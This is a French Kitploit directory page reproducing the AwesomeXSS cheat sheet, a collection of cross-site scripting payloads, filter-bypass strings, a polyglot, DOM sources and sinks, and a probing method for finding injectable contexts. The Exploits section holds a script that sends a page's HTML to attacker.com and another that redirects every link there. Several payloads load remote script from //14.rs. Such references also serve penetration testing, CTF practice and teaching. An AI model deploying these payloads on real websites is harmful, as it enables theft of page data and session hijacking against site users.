Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
AwesomeXSS — Trucs XSS géniaux | Kitploit
Outils/GitHubGitHub/s0md3v/awesomexss
Génération de PayloadsContournement de WAFSécurité WebCTFArticles et RechercheApprentissage et ÉducationRessources OrganiséesParcours et CoursLabs et Pratique
GitHubs0md3v/awesomexss

AwesomeXSS

Trucs XSS géniaux

Voir le dépôt
5.1k782il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

AwesomeXSS

Ce dépôt est une collection de ressources XSS géniales. Les contributions sont les bienvenues et doivent être soumises via une issue.

Sommaire

  • Défis
  • Lectures et présentations
  • Outils
  • Cartes mentales
  • DOM XSS
  • Payloads
  • Polyglottes
  • Balises et gestionnaires d'événements
  • Rupture de contexte
    • Contexte HTML
    • Contexte d'attribut
    • Contexte JavaScript
  • Variantes de confirm
  • Exploits
  • Sondage
  • Contournement
  • Encodage
  • Astuces

Défis

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Lectures et présentations

  • Contourner les mécanismes de détection XSS
  • XSS sur Facebook via le type de contenu PNG
  • Comment j'ai rencontré ta copine
  • Comment trouver 1,352 vulnérabilités XSS dans des plugins Wordpress en une heure
  • XSS aveugle
  • Copy Pest

Outils

  • XSStrike
  • BeEF
  • JShell

Cartes mentales XSS

Une belle carte mentale XSS de Jack Masa, ici

DOM XSS

  • Votre entrée va-t-elle dans un sink ? Vulnerable
  • Non ? Not vulnerable

Source : Une entrée qui pourrait être contrôlée par une source externe (non fiable).

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink : Une méthode potentiellement dangereuse qui pourrait mener à une vulnérabilité. Dans ce cas, une XSS basée sur le DOM.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Cette liste complète de sinks et de sources est tirée de domxsswiki.

Payloads

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Polyglottes

Voici un polyglotte XSS que j'ai créé et qui peut sortir de plus de 20 contextes :

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explication de son fonctionnement, ici

Balises et gestionnaires d'événements

  • 105 gestionnaires d'événements avec description
  • 200 gestionnaires d'événements sans description

Quelques gestionnaires d'événements moins détectés

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Quelques balises HTML que vous utiliserez

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Rupture de contexte

Contexte HTML

Cas : <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Contexte d'attribut

Cas : <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

Contexte JavaScript

Cas : <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Variantes de confirm

Oui, confirm parce que alert est trop mainstream.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Exploits

Remplacer tous les liens
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Voleur de code source
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Sondage

Si rien de tout cela ne fonctionne, jetez un œil à la section Contournement.

Tout d'abord, entrez une chaîne non malveillante comme d3v et examinez le code source pour vous faire une idée du nombre et des contextes de réflexion.
Pour le contexte d'attribut, vérifiez si les guillemets doubles (") sont filtrés en entrant x"d3v. S'ils sont transformés en x&quot;d3v, il y a de fortes chances que la sortie soit correctement échappée. Si c'est le cas, essayez de faire de même avec les guillemets simples (') en entrant x'd3v ; s'ils sont transformés en x&apos;, vous êtes fichu. La seule chose que vous pouvez essayer est l'encodage.
Si les guillemets ne sont pas filtrés, vous pouvez simplement essayer les payloads de la section Rupture de contexte.
Pour le contexte JavaScript, vérifiez quels guillemets sont utilisés. Par exemple, s'ils font :

root@kitploit:~
variable = 'value' or variable = "value"

Disons maintenant que des guillemets simples (') sont utilisés ; dans ce cas, entrez x'd3v. S'ils sont transformés en x\'d3v, essayez d'échapper l'antislash () en ajoutant un antislash à votre sonde, c'est-à-dire x\'d3v. Si cela fonctionne, utilisez le payload suivant :

root@kitploit:~
\'-alert()//

Mais s'ils sont transformés en x\\\'d3v, la seule chose que vous pouvez essayer est de fermer la balise script elle-même en utilisant :

root@kitploit:~
</script><svg onload=alert()>

Pour un contexte HTML simple, la sonde est x<d3v. Si elle est transformée en x&gt;d3v, un bon assainissement est en place. Si elle est reflétée telle quelle, vous pouvez entrer une balise factice pour vérifier les filtres potentiels. La balise factice que j'aime utiliser est x<xxx>. Si elle est supprimée ou modifiée d'une manière ou d'une autre, cela signifie que le filtre recherche une paire de < et >. Le filtre peut simplement être contourné en utilisant :

root@kitploit:~
<svg onload=alert()//

ou ceci (cela ne fonctionnera pas dans tous les cas)

root@kitploit:~
<svg onload=alert()

Si vos balises factices se retrouvent telles quelles dans le code source, utilisez l'un de ces payloads :

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Contournement

Remarque : Aucun de ces payloads n'utilise de guillemets simples (') ni de guillemets doubles (").

  • Sans gestionnaires d'événements
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • Sans espace
root@kitploit:~
<svg/onload=confirm()>

  • Sans barre oblique (/)
root@kitploit:~
<svg onload=confirm()>

  • Sans signe égal (=)
root@kitploit:~
<script>confirm()</script>
  • Sans chevron fermant (>)
root@kitploit:~
<svg onload=confirm()//
  • Sans alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Sans balise HTML valide
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • Contourner la liste noire des balises
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Encodage

Astuces

  • http(s):// peut être raccourci en // ou /\\ ou \\.
  • document.cookie peut être raccourci en cookie. Cela s'applique également aux autres objets DOM.
  • alert et les autres fonctions de pop-up n'ont pas besoin de valeur, alors arrêtez d'écrire alert('XSS') et commencez à écrire alert().
  • Vous pouvez utiliser // pour fermer une balise au lieu de >.
  • J'ai constaté que confirm est la fonction de pop-up la moins détectée, alors arrêtez d'utiliser alert.
  • Les guillemets autour de la valeur d'un attribut ne sont pas nécessaires tant qu'elle ne contient pas d'espaces. Vous pouvez utiliser <script src=//14.rs> au lieu de .

Crédits

Tous les payloads sont conçus par moi, sauf mention contraire.

Télécharger l’outil
HTMLCharNumericDescriptionHexCSS (ISO)JS (Octal)URL
&quot;"&#34;guillemetu+0022\0022\42%22
&num;#&#35;signe dièseu+0023\0023\43%23
&dollar;$&#36;signe dollaru+0024\0024\44%24
&percnt;%&#37;signe pourcentu+0025\0025\45%25
&amp;&&#38;esperluetteu+0026\0026\46%26
&apos;'&#39;apostropheu+0027\0027\47%27
&lpar;(&#40;parenthèse gaucheu+0028\0028\50%28
&rpar;)&#41;parenthèse droiteu+0029\0029\51%29
&ast;*&#42;astérisqueu+002A\002a\52%2A
&plus;+&#43;signe plusu+002B\002b\53%2B
&comma;,&#44;virguleu+002C\002c\54%2C
&minus;-&#45;trait d'union-moinsu+002D\002d\55%2D
&period;.&#46;pointu+002E\002e\56%2E
&sol;/&#47;solidus ; barre obliqueu+002F\002f\57%2F
&colon;:&#58;deux-pointsu+003A\003a\72%3A
&semi;;&#59;point-virguleu+003B\003b\73%3B
&lt;<&#60;signe inférieuru+003C\003c\74%3C
&equals;=&#61;signe égalu+003D\003d\75%3D
&gt;>&#62;signe supérieuru+003E\003e\76%3E
&quest;?&#63;point d'interrogationu+003F\003f\77%3F
&commat;@&#64;arobaseu+0040\0040\100%40
&lsqb;[&#91;crochet gaucheu+005B\005b\133%5B
&bsol;\&#92;antislashu+005C\005c\134%5C
&rsqb;]&#93;crochet droitu+005D\005d\135%5D
&Hat;^&#94;accent circonflexeu+005E\005e\136%5E
&lowbar;_&#95;trait basu+005F\005f\137%5F
&grave;`&#96;accent graveu+0060\0060\u0060%60
&lcub;{&#123;accolade gaucheu+007b\007b\173%7b
&verbar;|&#124;barre verticaleu+007c\007c\174%7c
&rcub;}&#125;accolade droiteu+007d\007d\175%7d
<script src="//14.rs">
  • Le payload XSS en contexte HTML le plus court est <script src=//14.rs> (19 caractères).